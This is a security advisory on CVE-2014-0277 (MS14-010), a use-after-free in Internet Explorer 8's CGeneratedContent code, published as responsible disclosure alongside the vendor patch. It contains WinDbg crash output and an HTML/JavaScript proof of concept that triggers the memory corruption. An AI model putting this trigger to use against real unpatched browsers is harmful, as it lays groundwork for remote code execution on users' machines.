security-assessment.com

Vulnerability Advisory

Name	Microsoft Internet Explorer 'CGeneratedContent' Use-After-Free Vulnerability (MS14-010)
CVE	CVE-2014-0277
Vendor Website	http://www.microsoft.com/
Date Released	11/02/2014
Affected Software	Microsoft Internet Explorer 8
Researchers	Scott Bell

Description

A memory corruption vulnerability was identified in Microsoft Internet Explorer which allows a malicious user to remotely execute arbitrary code on a vulnerable user's machine, in the context of the current user.

Exploitation

Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this are often hosted on legitimate websites which have been compromised by other means.
The following table shows some cursory debug information:

Debugger Output

```
(a44.fd0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=03a41fd8 ebx=00000000 ecx=00000004 edx=05d1afe8 esi=06e48fd0 edi=00000004
eip=3d0591ce esp=0336cea4 ebp=0336ceb8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CGeneratedContent::Branch:
3d0591ce 8b08            mov     ecx,dword ptr [eax]  ds:0023:03a41fd8=????????
1:019> k
ChildEBP RetAddr
0336cea0 3d102ab6 mshtml!CGeneratedContent::Branch
0336ceb8 3d0fd6e5 mshtml!CGeneratedContent::ReleaseGeneratedContent+0x35
0336cec8 3cee9063 mshtml!CTreeNode::PrivateMakeDead+0x2a
0336ced0 3cee94d1 mshtml!CTreeNode::PrivateExitTree+0xa
0336d030 3cee77d3 mshtml!CSpliceTreeEngine::RemoveSplice+0x92c
0336d110 3cee9f87 mshtml!CMarkup::SpliceTreeInternal+0x83
0336d160 3ceea4b3 mshtml!CDoc::CutCopyMove+0xca
0336d17c 3ceea48d mshtml!CDoc::Remove+0x18
0336d194 3ceeb7fa mshtml!RemoveWithBreakOnEmpty+0x3a
0336d290 3ceeb649 mshtml!InjectHtmlStream+0x191
0336d2cc 3ceea3d6 mshtml!HandleHTMLInjection+0x5c
0336d384 3ceea210 mshtml!CElement::InjectInternal+0x307
0336d3a0 3ceea530 mshtml!CElement::InjectCompatBSTR+0x46
0336d3c0 3cf6bc5b mshtml!CElement::put_innerHTML+0x40
0336d3f0 3cf8abe3 mshtml!GS_BSTR+0x1ab
0336d464 3cf96cf1 mshtml!CBase::ContextInvokeEx+0x5d1
0336d4b4 3cfa29c8 mshtml!CElement::ContextInvokeEx+0x9d
0336d4e0 3cf8a5e9 mshtml!CElement::VersionedInvokeEx+0x2d
0336ffec 00000000 kernel32!BaseThreadStart+0x37
```

The following HTML proof of concept code can be used to reproduce the vulnerability:

Proof of Concept

```
<!DOCTYPE HTML>
<html lang="en">
<head>
<script>
function main(){
 document.body.children[2].appendChild(document.body.children[1])
document.getElementById("test").style.direction = "rtl"
document.getElementById("bbb").style.display = "list-item"
document.getElementById("bbb").style.position = "relative"
 setTimeout('document.body.innerHTML += "a"', 500)
}
 </script>
</head>
<body onload="setTimeout('main()', 500)">
<b></b>
<div id="bbb"><p id="test">aaaa</p></div>
<table></table>
<div><p>aaaa</p></div>
<table></table>
</body>
</html>
```

Solution

Microsoft validated this security issue and issued a patch (MS14-010) to remedy it.
Security-Assessment.com recommends applying the patch which has been made available via Windows Update.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com

Email info@security-assessment.com